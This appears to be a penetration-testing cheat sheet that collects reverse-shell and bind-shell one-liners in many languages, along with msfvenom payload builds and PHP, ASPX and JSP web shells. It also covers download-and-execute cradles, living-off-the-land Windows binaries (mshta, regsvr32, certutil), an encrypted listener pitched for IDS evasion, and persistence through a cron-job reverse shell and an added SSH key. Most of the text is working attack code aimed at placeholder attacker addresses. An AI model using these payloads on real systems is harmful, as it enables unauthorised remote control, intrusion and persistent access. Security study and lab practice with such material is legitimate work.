kavklaw@llm $ cat shells-transfers-guide.md
β±οΈ 20 min read Β· Every shell one-liner, every transfer method. The complete operational toolkit
A shell is a command-line interface that lets you interact with a computer's operating system. When you open Terminal on Linux or Command Prompt on Windows, you're using a shell. Every command you type β ls, whoami, cat /etc/passwd β is interpreted and executed by the shell program (Bash, Zsh, PowerShell, cmd.exe).
In penetration testing, "getting a shell" means establishing a remote command-line session on a target machine. You can't physically walk up to the server and type commands, so instead you trick the target into opening a network connection that gives you shell access. This is the bridge between finding a vulnerability and actually using it β without a shell, you can't explore the system, read files, or escalate privileges.
Firewalls are the reason reverse shells dominate. Most networks are configured with a simple principle: block inbound connections, allow outbound connections. Employees need to browse the web and send email (outbound), but random internet traffic shouldn't reach internal servers (inbound). A bind shell opens a port on the target and waits for you to connect inbound β the firewall blocks this. A reverse shell makes the target connect outbound to your machine β the firewall allows this because it looks like normal outgoing traffic. That's why you'll use reverse shells 90% of the time.
When you first catch a reverse shell, you get a "dumb" shell β raw text in, raw text out. It lacks a PTY (pseudo-terminal), which is the layer that makes terminals interactive. Without a PTY: pressing arrow keys prints garbage characters (^[[A), Ctrl+C kills your entire connection instead of just the running command, tab completion doesn't work, and programs like sudo, su, and nano refuse to run because they require a real terminal. "Upgrading" means spawning a proper PTY inside your connection so all these features work. It takes 10 seconds and you should do it every single time.
This guide uses several common tools. Most are pre-installed on Kali/Parrot, but here's what you need and how to get it:
# Core tools (install what you're missing)
sudo apt install netcat-openbsd # nc/ncat β the universal network tool
sudo apt install socat # Advanced socket relay (better interactive shells)
sudo apt install rlwrap # Readline wrapper (arrow keys in nc listeners)
sudo apt install python3 # Python reverse shells + PTY upgrade + HTTP server
sudo apt install curl wget # File transfers
# Optional but recommended
sudo apt install ncat # Nmap's netcat (supports SSL, --exec)
sudo apt install metasploit-framework # msfvenom for payload generation + multi/handler
sudo apt install impacket-scripts # impacket-smbserver for Windows file transfers
# Check what's available on your machine
which nc ncat socat python3 curl wget rlwrap
On the target side, you won't get to install anything β you work with what's already there. That's why this guide covers so many methods: if wget isn't on the target, use curl. If neither exists, use /dev/tcp or base64 encoding. Always check what's available with which python python3 wget curl nc socat perl ruby before picking a technique.
Need a shell RIGHT NOW? Here's the fastest path:
# On your attacker machine β start a listener
nc -lvnp 9001
# On the target β pick ONE of these (replace YOUR_IP and PORT):
# Bash
bash -c 'bash -i >& /dev/tcp/YOUR_IP/9001 0>&1'
# Python
python3 -c 'import os,pty,socket;s=socket.socket();s.connect(("YOUR_IP",9001));[os.dup2(s.fileno(),f)for f in(0,1,2)];pty.spawn("bash")'
# PHP
php -r '$s=fsockopen("YOUR_IP",9001);exec("/bin/bash -i <&3 >&3 2>&3");'
# Netcat (if available)
nc YOUR_IP 9001 -e /bin/bash
# After getting the shell β IMMEDIATELY upgrade it:
python3 -c 'import pty; pty.spawn("/bin/bash")'
# Press Ctrl+Z
stty raw -echo; fg
export TERM=xterm
You'll use reverse shells 90% of the time, but you need to know how bind shells work too β and when each one makes sense.
A reverse shell is a connection where the target machine connects back to your machine, giving you command-line access to it. You set up a listener (a program waiting for connections) on your machine, then trigger the target to connect to you.
Attacker (listener) Target (initiator)
ββββββββββββ ββββββββββββ
β nc -lvnp β βββ connects ββ β bash -i β
β 9001 β β >& ... β
ββββββββββββ ββββββββββββ
Why reverse shells work: Firewalls typically block INCOMING connections but ALLOW outgoing ones. The target initiates the connection β passes through the firewall.
A bind shell is the opposite of a reverse shell. The target opens a port and waits for you to connect. You then connect to the target's open port to get a shell. This is less common because firewalls usually block incoming connections to the target.
Target (listener) Attacker (initiator)
ββββββββββββ ββββββββββββ
β nc -lvnp β βββ connects ββ β nc targetβ
β -e bash β β 4444 β
β 4444 β ββββββββββββ
ββββββββββββ
# On target:
nc -lvnp 4444 -e /bin/bash
# On attacker:
nc TARGET_IP 4444
# Basic netcat listener
nc -lvnp 9001
# -l = listen mode
# -v = verbose (show connection info)
# -n = no DNS resolution (faster)
# -p = port number
# Multiple connections (restart listener after each)
while true; do nc -lvnp 9001; done
# rlwrap adds readline support (arrow keys, history)
rlwrap nc -lvnp 9001
# Why? Without rlwrap, pressing arrow keys in a basic shell
# produces escape sequences (^[[A, ^[[B) instead of working.
# rlwrap fixes this.
# Install: sudo apt install rlwrap
# Basic socat listener
socat TCP-LISTEN:9001,reuseaddr,fork EXEC:/bin/bash
# Fully interactive TTY listener (the BEST option)
socat file:`tty`,raw,echo=0 TCP-LISTEN:9001
# This gives you a FULLY interactive shell from the start
# β arrow keys, tab completion, Ctrl+C, job control, everything
# Encrypted listener (evade IDS)
# 1. Generate SSL cert
openssl req -newkey rsa:2048 -nodes -keyout shell.key -x509 -days 30 -out shell.crt
cat shell.key shell.crt > shell.pem
# 2. Start encrypted listener
socat OPENSSL-LISTEN:9001,cert=shell.pem,verify=0 -
# 3. Target connects with:
socat OPENSSL:ATTACKER_IP:9001,verify=0 EXEC:/bin/bash
# For msfvenom payloads, use Metasploit's handler
msfconsole -q
use multi/handler
set payload linux/x64/shell_reverse_tcp
set LHOST YOUR_IP
set LPORT 9001
run
# For meterpreter shells
set payload linux/x64/meterpreter/reverse_tcp
set LHOST YOUR_IP
set LPORT 9001
run
The definitive collection. Replace YOUR_IP and PORT with your listener address.
# Method 1: /dev/tcp (most common)
bash -i >& /dev/tcp/YOUR_IP/PORT 0>&1
# Method 2: Wrapped in bash -c (for non-bash default shells)
bash -c 'bash -i >& /dev/tcp/YOUR_IP/PORT 0>&1'
# Method 3: Using exec
exec 5<>/dev/tcp/YOUR_IP/PORT; cat <&5 | while read line; do $line 2>&5 >&5; done
# Method 4: For systems where > is problematic
bash -c 'bash -i 5>&/dev/tcp/YOUR_IP/PORT 0<&5 1>&5 2>&5'
# Python 3 β one-liner
python3 -c 'import os,pty,socket;s=socket.socket();s.connect(("YOUR_IP",PORT));[os.dup2(s.fileno(),f)for f in(0,1,2)];pty.spawn("bash")'
# Python 3 β readable version
python3 -c '
import socket,subprocess,os
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("YOUR_IP",PORT))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
subprocess.call(["/bin/bash","-i"])
'
# Python 2 fallback
python -c 'import socket,subprocess,os;s=socket.socket();s.connect(("YOUR_IP",PORT));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/bash","-i"])'
# Method 1: Using exec
php -r '$s=fsockopen("YOUR_IP",PORT);exec("/bin/bash -i <&3 >&3 2>&3");'
# Method 2: Using proc_open
php -r '$s=fsockopen("YOUR_IP",PORT);$p=proc_open("bash",array(0=>$s,1=>$s,2=>$s),$pipes);'
# Method 3: Using shell_exec (for web shells)
php -r '$s=fsockopen("YOUR_IP",PORT);while(!feof($s)){$c=fgets($s,2048);$o=shell_exec($c);fwrite($s,$o);}'
# PentestMonkey's PHP reverse shell (full file β best for web upload)
# Download: https://github.com/pentestmonkey/php-reverse-shell
# Edit $ip and $port, upload, access via browser
# Perl reverse shell
perl -e 'use Socket;$i="YOUR_IP";$p=PORT;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("bash -i");};'
# Perl without /bin/bash
perl -MIO -e '$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"YOUR_IP:PORT");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'
# Ruby reverse shell
ruby -rsocket -e 'f=TCPSocket.open("YOUR_IP",PORT).to_i;exec sprintf("/bin/bash -i <&%d >&%d 2>&%d",f,f,f)'
# Ruby without exec
ruby -rsocket -e 'exit if fork;c=TCPSocket.new("YOUR_IP",PORT);loop{c.gets.chomp!;(IO.popen(it,"r"){|io|c.print io.read})rescue(c.puts "failed")}'
# Traditional netcat (if -e flag is available)
nc YOUR_IP PORT -e /bin/bash
# Netcat without -e (most modern systems)
# Method 1: mkfifo (named pipe)
rm /tmp/f; mkfifo /tmp/f; cat /tmp/f | bash -i 2>&1 | nc YOUR_IP PORT > /tmp/f
# Method 2: Using /dev/tcp
nc YOUR_IP PORT 0<&1 | bash 1>&0 2>&0
# Netcat OpenBSD (the version on most modern Linux)
rm /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/sh -i 2>&1 | nc YOUR_IP PORT > /tmp/f
# Basic socat reverse shell
socat TCP:YOUR_IP:PORT EXEC:/bin/bash
# Fully interactive TTY reverse shell (BEST quality)
# Listener (attacker):
socat file:`tty`,raw,echo=0 TCP-LISTEN:PORT
# Payload (target):
socat TCP:YOUR_IP:PORT EXEC:'bash -li',pty,stderr,setsid,sigint,sane
# PowerShell one-liner
powershell -nop -c "$c=New-Object System.Net.Sockets.TCPClient('YOUR_IP',PORT);$s=$c.GetStream();[byte[]]$b=0..65535|%{0};while(($i=$s.Read($b,0,$b.Length)) -ne 0){;$d=(New-Object -TypeName System.Text.ASCIIEncoding).GetString($b,0,$i);$r=(iex $d 2>&1|Out-String);$r2=$r+'PS '+(pwd).Path+'> ';$sb=([text.encoding]::ASCII).GetBytes($r2);$s.Write($sb,0,$sb.Length);$s.Flush()}"
# PowerShell Base64 encoded (avoid special character issues)
# 1. Create the command in UTF-16LE, base64 encode it
echo -n '$c=New-Object System.Net.Sockets.TCPClient("YOUR_IP",PORT);...' | iconv -t utf-16le | base64 -w 0
# 2. Execute with -EncodedCommand
powershell -nop -enc BASE64_STRING_HERE
# PowerShell download and execute (cradle)
powershell -nop -c "IEX(New-Object Net.WebClient).DownloadString('http://YOUR_IP/shell.ps1')"
$ nc 9001
nc -lvnp 9001 starts a listener on port 9001 that shows connection info and doesn't waste time on DNS lookups. This is the most common netcat listener command you'll use.$
bash -i >& /dev/tcp/YOUR_IP/9001 0>&1. It redirects stdin, stdout, and stderr through a TCP connection to your listener. The >& redirects both stdout and stderr, and 0>&1 redirects stdin to the same connection. This is the most commonly used shell one-liner.π‘ Pro Tip: Bookmark revshells.com β it generates reverse shell one-liners in every language with your IP and port pre-filled. Saves copying and editing every time.
When you catch a reverse shell with netcat, you get a "dumb" shell. A PTY (pseudo-terminal) is what makes a terminal interactive. Without one: no tab completion, no arrow keys, Ctrl+C kills the entire shell (not just the command), and you can't use tools like su, ssh, or nano. Upgrading to a full PTY is essential and only takes about 10 seconds.
SHELL UPGRADE PROCESS (memorize this!)
βββββββββββββββββββββββββββββββββββββββ
Step 1: python3 -c 'import pty; pty.spawn("/bin/bash")'
Step 2: Ctrl+Z (background the shell)
Step 3: stty raw -echo; fg (fix terminal + foreground)
Step 4: export TERM=xterm (enable colors/keys)
Dumb shell βββΆ PTY spawn βββΆ Background βββΆ Raw mode βββΆ Full PTY!
(broken) (better) (Ctrl+Z) (stty) (perfect)
# Step 1: Spawn a PTY with Python
python3 -c 'import pty; pty.spawn("/bin/bash")'
# Or with Python 2:
python -c 'import pty; pty.spawn("/bin/bash")'
# Or with script command:
script -qc /bin/bash /dev/null
# Step 2: Background the shell
# Press Ctrl+Z (this suspends the nc process on YOUR machine)
# Step 3: Fix your local terminal
stty raw -echo; fg
# stty raw -echo = put terminal in raw mode (pass all keys through)
# fg = bring the nc session back to foreground
# Step 4: Set environment variables
export TERM=xterm
export SHELL=/bin/bash
# Step 5: Fix terminal size (optional but nice)
# On your local machine, check your terminal size:
stty size
# Output: 50 200 (rows columns)
# In the remote shell:
stty rows 50 cols 200
# If Python isn't available:
# Using script command
script -qc /bin/bash /dev/null
# Using Perl
perl -e 'exec "/bin/bash";'
# Using expect
expect -c 'spawn bash; interact'
# Using socat (if installed on target)
# On attacker:
socat file:`tty`,raw,echo=0 TCP-LISTEN:PORT
# On target:
socat TCP:YOUR_IP:PORT EXEC:'bash -li',pty,stderr,setsid,sigint,sane
python3 -c 'import pty; pty.spawn("/bin/bash")', (2) Background the shell with Ctrl+Z, (3) Run stty raw -echo; fg on your local terminal to pass raw keystrokes and bring the shell back, (4) Set export TERM=xterm in the remote shell. This gives you tab completion, arrow keys, Ctrl+C that doesn't kill the shell, and the ability to use tools like su, ssh, and nano.$
python3 -c 'import pty; pty.spawn("/bin/bash")' spawns a pseudo-terminal and runs bash inside it. This is step 1 of the shell upgrade process. Without a PTY, many interactive programs (su, ssh, nano, passwd) refuse to run because they require a terminal. If Python isn't available, try script -qc /bin/bash /dev/null instead.β οΈ Critical: If you typestty raw -echo; fgand the shell breaks, your terminal will appear frozen (because echo is off). Typeresetblindly and press Enter β it'll fix your terminal. If that doesn't work, close the terminal and open a new one.
Msfvenom (part of the Metasploit framework) generates custom reverse shell payloads as executable files. Use it when one-liners don't work or you need a specific file format like an EXE (Windows), ELF (Linux binary), DLL (Windows library), or WAR (Java web archive). You create the payload on your machine, transfer it to the target, and run it.
# Basic Linux reverse shell (ELF binary)
msfvenom -p linux/x64/shell_reverse_tcp LHOST=YOUR_IP LPORT=9001 -f elf -o revshell
chmod +x revshell
# Linux meterpreter (staged)
msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=YOUR_IP LPORT=9001 -f elf -o meterpreter
# Linux meterpreter (stageless β single payload, no staged download)
msfvenom -p linux/x64/meterpreter_reverse_tcp LHOST=YOUR_IP LPORT=9001 -f elf -o meterpreter
# Windows reverse shell (EXE)
msfvenom -p windows/x64/shell_reverse_tcp LHOST=YOUR_IP LPORT=9001 -f exe -o revshell.exe
# Windows meterpreter (EXE)
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=YOUR_IP LPORT=9001 -f exe -o meterpreter.exe
# Windows DLL (for DLL hijacking)
msfvenom -p windows/x64/shell_reverse_tcp LHOST=YOUR_IP LPORT=9001 -f dll -o evil.dll
# Windows service executable (for service exploitation)
msfvenom -p windows/x64/shell_reverse_tcp LHOST=YOUR_IP LPORT=9001 -f exe-service -o service.exe
# PowerShell payload
msfvenom -p windows/x64/shell_reverse_tcp LHOST=YOUR_IP LPORT=9001 -f psh -o shell.ps1
# PHP reverse shell
msfvenom -p php/reverse_php LHOST=YOUR_IP LPORT=9001 -f raw -o shell.php
# Java WAR file (for Tomcat)
msfvenom -p java/jsp_shell_reverse_tcp LHOST=YOUR_IP LPORT=9001 -f war -o shell.war
# ASP reverse shell
msfvenom -p windows/shell_reverse_tcp LHOST=YOUR_IP LPORT=9001 -f asp -o shell.asp
# ASPX reverse shell
msfvenom -p windows/x64/shell_reverse_tcp LHOST=YOUR_IP LPORT=9001 -f aspx -o shell.aspx
# Python reverse shell
msfvenom -p cmd/unix/reverse_python LHOST=YOUR_IP LPORT=9001 -f raw
msfvenom -l payloads | grep reverse # List all reverse shell payloads
msfvenom -l formats # List all output formats (exe, elf, dll, raw, etc.)
msfvenom -l encoders # List all encoders (for basic AV evasion)
Staged vs Stageless payloads β this naming convention is critical to understand:
shell/reverse_tcp β note the /): Small initial payload downloads the rest from handler. Needs multi/handler running.shell_reverse_tcp β note the _): Self-contained, larger file size. Works with a plain nc listener!π‘ Pro Tip: If using a plainnclistener, you MUST use stageless payloads (shell_reverse_tcpwith underscore). Staged payloads (shell/reverse_tcpwith slash) need Metasploit'smulti/handlerto send the second stage.
A web shell is a tiny script (usually just one line of PHP, ASP, or JSP) that you upload to a web server. It takes a command from the URL and runs it on the server, returning the output in your browser. Web shells are useful when you can upload files but can't get a reverse shell (for example, if the firewall blocks all outbound connections).
# Simple PHP web shell (one-liner)
<?php system($_GET['cmd']); ?>
# Access: http://target.htb/shell.php?cmd=whoami
# Slightly better PHP web shell
<?php echo "<pre>" . shell_exec($_REQUEST['cmd']) . "</pre>"; ?>
# PHP web shell with password protection
<?php
if($_GET['key'] !== 'secretkey') die('Forbidden');
echo "<pre>" . shell_exec($_GET['cmd']) . "</pre>";
?>
# Access: http://target.htb/shell.php?key=secretkey&cmd=whoami
# ASPX web shell
<%@ Page Language="C#" %>
<%@ Import Namespace="System.Diagnostics" %>
<%= Process.Start(new ProcessStartInfo("cmd","/c " + Request["cmd"])
{UseShellExecute=false,RedirectStandardOutput=true}).StandardOutput.ReadToEnd() %>
# JSP web shell
<% Runtime rt = Runtime.getRuntime();
String[] cmd = {"/bin/bash", "-c", request.getParameter("cmd")};
Process p = rt.exec(cmd);
java.util.Scanner s = new java.util.Scanner(p.getInputStream()).useDelimiter("\\A");
out.print(s.hasNext() ? s.next() : ""); %>
# From a web shell, trigger a reverse shell:
# 1. Start listener on attacker: nc -lvnp 9001
# 2. In web shell, run:
http://target.htb/shell.php?cmd=bash+-c+'bash+-i+>%26+/dev/tcp/YOUR_IP/9001+0>%261'
# (URL-encoded spaces and special chars)
# On attacker β serve files
python3 -m http.server 8000
# Serves current directory on port 8000
# On target β download files
wget http://YOUR_IP:8000/linpeas.sh
# or
curl http://YOUR_IP:8000/linpeas.sh -o linpeas.sh
# or
curl http://YOUR_IP:8000/linpeas.sh | bash # Download and execute directly
# Method 1: Attacker sends, target receives
# Attacker (sender):
nc -lvnp 9002 < file_to_send.txt
# Target (receiver):
nc ATTACKER_IP 9002 > received_file.txt
# Method 2: Target sends, attacker receives
# Attacker (listener):
nc -lvnp 9002 > received_file.txt
# Target (sender):
nc ATTACKER_IP 9002 < file_to_send.txt
# Transfer binary file (ensure clean transfer)
# Sender:
nc -lvnp 9002 < binary_file
# Receiver:
nc SENDER_IP 9002 > binary_file
md5sum binary_file # Verify integrity on both ends
# Copy TO the target
scp linpeas.sh user@target:/tmp/linpeas.sh
# Copy FROM the target
scp user@target:/etc/passwd ./passwd.txt
# Copy with specific SSH key
scp -i id_rsa linpeas.sh user@target:/tmp/
# Recursive copy (directory)
scp -r local_dir/ user@target:/tmp/
# When no direct file transfer is possible:
# On attacker β encode the file
base64 -w 0 linpeas.sh
# Copy the output (long base64 string)
# On target β decode and save
echo "PASTE_BASE64_HERE" | base64 -d > linpeas.sh
chmod +x linpeas.sh
# For binary files
base64 -w 0 binary_file > encoded.txt
# Transfer encoded.txt (copy/paste or any text method)
base64 -d encoded.txt > binary_file
# Attacker serves file:
socat TCP-LISTEN:9002,reuseaddr,fork FILE:linpeas.sh
# Target downloads:
socat TCP:ATTACKER_IP:9002 FILE:linpeas.sh,create
# If PHP is available on target:
php -r "file_put_contents('linpeas.sh', file_get_contents('http://YOUR_IP:8000/linpeas.sh'));"
# certutil is installed on ALL Windows machines
certutil -urlcache -split -f http://YOUR_IP:8000/file.exe file.exe
# Base64 decode (transfer encoded data)
certutil -decode encoded.txt decoded.exe
# Method 1: DownloadFile (saves to disk)
powershell -c "(New-Object Net.WebClient).DownloadFile('http://YOUR_IP:8000/file.exe','C:\temp\file.exe')"
# Method 2: DownloadString + IEX (in-memory execution)
powershell -c "IEX(New-Object Net.WebClient).DownloadString('http://YOUR_IP:8000/script.ps1')"
# Method 3: Invoke-WebRequest (PowerShell 3+)
powershell -c "Invoke-WebRequest -Uri http://YOUR_IP:8000/file.exe -OutFile file.exe"
# Short form:
powershell -c "iwr http://YOUR_IP:8000/file.exe -o file.exe"
# Method 4: wget alias (PowerShell 3+)
powershell -c "wget http://YOUR_IP:8000/file.exe -o file.exe"
# Bypass execution policy
powershell -ep bypass -c "IEX(New-Object Net.WebClient).DownloadString('http://YOUR_IP:8000/script.ps1')"
# bitsadmin is available on older Windows systems
bitsadmin /transfer myjob /download /priority normal http://YOUR_IP:8000/file.exe C:\temp\file.exe
# Start an SMB server on attacker (using impacket)
impacket-smbserver share $(pwd) -smb2support
# On Windows target β access the share
copy \\YOUR_IP\share\file.exe C:\temp\file.exe
# or
net use Z: \\YOUR_IP\share
copy Z:\file.exe C:\temp\
# With authentication (if needed)
impacket-smbserver share $(pwd) -smb2support -user admin -password admin123
# On Windows:
net use Z: \\YOUR_IP\share /user:admin admin123
# Copy FROM target to attacker
copy C:\Users\admin\flag.txt \\YOUR_IP\share\flag.txt
impacket-smbserver share $(pwd) -smb2support on your attacker machine, then on the target: copy \\YOUR_IP\share\file.exe C:\temp\. No additional tools needed on the target. It works bidirectionally β you can also copy files FROM the target to your share. certutil and PowerShell would work too, but they require HTTP access which may be blocked.π‘ Pro Tip: SMB file transfer is often the cleanest method for Windows. It's a built-in protocol, doesn't require downloading any tools, and works in both directions. The only requirement is that port 445 is reachable between the machines.
# Windows 10+ has curl built-in
curl http://YOUR_IP:8000/file.exe -o file.exe
# Wget (if installed)
wget http://YOUR_IP:8000/file.exe -O file.exe
"Living off the land" means using only tools that are already installed on the target system, without uploading anything new. This is useful when you can't transfer files (restricted network) or want to avoid detection (uploaded tools trigger antivirus alerts).
# /dev/tcp (bash built-in)
cat < /dev/tcp/YOUR_IP/8000 > file.sh
# (Requires the attacker to serve the file on that port via nc)
# Openssl client
openssl s_client -connect YOUR_IP:443 -quiet < /dev/null > file.sh
# Bash TCP redirect
exec 3<>/dev/tcp/YOUR_IP/8000; echo -e "GET /file.sh HTTP/1.1\r\nHost: YOUR_IP\r\n\r\n" >&3; cat <&3 > file.sh
# Tar over SSH
ssh user@attacker "cat file.tar.gz" | tar xzf -
# Gzip + base64 (for large files over limited channels)
# On attacker:
gzip -c file | base64 -w 0
# On target:
echo "BASE64_DATA" | base64 -d | gunzip > file
# MsHTa (runs HTA files)
mshta http://YOUR_IP:8000/payload.hta
# Rundll32 (loads DLLs)
rundll32 \\YOUR_IP\share\evil.dll,EntryPoint
# Regsvr32 (register COM objects)
regsvr32 /s /n /u /i:http://YOUR_IP:8000/payload.sct scrobj.dll
# Cmstp (profile installer)
cmstp /s /ns C:\temp\evil.inf
# VBScript download
# Create dl.vbs:
echo strUrl = WScript.Arguments.Item(0) > dl.vbs
echo StrFile = WScript.Arguments.Item(1) >> dl.vbs
echo Set objHTTP = CreateObject("MSXML2.XMLHTTP") >> dl.vbs
echo objHTTP.open "GET", strUrl, False >> dl.vbs
echo objHTTP.send >> dl.vbs
echo Set objFSO = CreateObject("Scripting.FileSystemObject") >> dl.vbs
echo Set objStream = objFSO.CreateTextFile(StrFile, True) >> dl.vbs
echo objStream.Write objHTTP.responseText >> dl.vbs
echo objStream.Close >> dl.vbs
# Then:
cscript dl.vbs http://YOUR_IP:8000/file.exe C:\temp\file.exe
π‘ Tip #1: Use multiple shells.
Always establish at least two reverse shells to the target. If one dies (network hiccup, Ctrl+C accident, timeout), you still have access. Run different listeners on different ports.
π‘ Tip #2: Create a cron job/scheduled task.
For persistence, add a callback that re-establishes the shell if it dies:
* * * * * bash -c 'bash -i >& /dev/tcp/YOUR_IP/PORT 0>&1'
This reconnects every minute.
π‘ Tip #3: Use nohup for long-running commands.
If your shell dies while running a long command, you lose the output. Use:nohup long_command &
π‘ Tip #4: Use tmux/screen on the attacker.
Run your listener inside tmux. If your terminal closes, the listener keeps running and the shell stays alive.tmux new -s shells
π‘ Tip #5: Choose high ports for listeners.
Outbound filtering might block uncommon ports. Ports 80, 443, 8080, and 53 are most likely to pass through firewalls. Trync -lvnp 443if 9001 doesn't work.
# 1. Start listener (in tmux!)
tmux new -s rev
rlwrap nc -lvnp 9001
# 2. Trigger the shell (via RCE, file upload, etc.)
# 3. Verify you're in:
whoami
id
hostname
ip addr
# python3 -c 'import pty; pty.spawn("/bin/bash")'
# Ctrl+Z
# stty raw -echo; fg
# export TERM=xterm SHELL=/bin/bash
# Get a second shell on a different port
# Transfer SSH key for stable access
mkdir -p ~/.ssh
echo "YOUR_PUBLIC_KEY" >> ~/.ssh/authorized_keys
# Now: ssh user@target -i your_key
# Start HTTP server on attacker
python3 -m http.server 8000
# On target, download enumeration tools
wget http://YOUR_IP:8000/linpeas.sh
chmod +x linpeas.sh
./linpeas.sh | tee linpeas_output.txt
β Mistake #1: Not upgrading the shell.
A dumb shell breaks with Ctrl+C, can't use su/ssh/nano, and has no tab completion. ALWAYS upgrade.python3 -c 'import pty; pty.spawn("/bin/bash")'takes 2 seconds.
β Mistake #2: Using staged payloads with nc listener.
Msfvenom'sshell/reverse_tcp(staged, with slash) needs multi/handler. A plain nc listener gets a connection but no shell. Useshell_reverse_tcp(stageless, with underscore) for nc.
β Mistake #3: Forgetting to URL-encode payloads.
When injecting shell commands through a URL, special characters must be encoded.bash -i >& /dev/tcp/IP/PORT 0>&1needs spaces as+or%20,&as%26, etc.
β Mistake #4: Not checking what's available on the target.
Before tryingwget, check if it exists. Before tryingpython, check which version. Usewhich python python3 wget curl nc socatto see what's available.
β Mistake #5: Running your listener without tmux.
If your terminal closes, your shell is gone. Always run listeners inside tmux or screen.tmux new -s listenerβ run nc β detach with Ctrl+B,D.
β Mistake #6: Not having multiple shells.
One shell = one mistake away from starting over. Establish a backup connection immediately. SSH key access is ideal β it persists across network issues.